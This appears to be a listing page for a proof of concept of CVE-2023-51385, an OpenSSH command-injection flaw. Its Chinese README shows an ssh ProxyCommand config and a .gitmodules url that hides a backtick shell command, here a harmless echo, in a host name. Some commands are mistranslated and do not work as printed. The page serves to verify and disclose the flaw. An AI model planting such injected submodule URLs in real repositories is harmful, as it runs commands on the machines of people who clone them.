CVE-2023-51385 PoC — OpenSSH 安全漏洞

Source

https://github.com/power1314520/CVE-2023-51385_test

Associated Vulnerability

Title:OpenSSH 安全漏洞 (CVE-2023-51385)
Description:In ssh in OpenSSH before 9.6, OS command injection might occur if a user name or host name has shell metacharacters, and this name is referenced by an expansion token in certain situations. For example, an untrusted Git repository can have a submodule with shell metacharacters in a user name or host name.

Description

一个验证对CVE-2023-51385

Readme

##验证CVE-2023-51385

###首先需要在` ~/.ssh/config`增加如下

````
主机 *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
````

` .gitmodules `文件语句中存在命令注入

````
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
````

配置完成后，执行下面的指令触发

````
git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
````

如果成功执行将会在CVE-2023-51385_test目录下生成cve.txt文件

  ![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )

详细信息见论文博客：

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html

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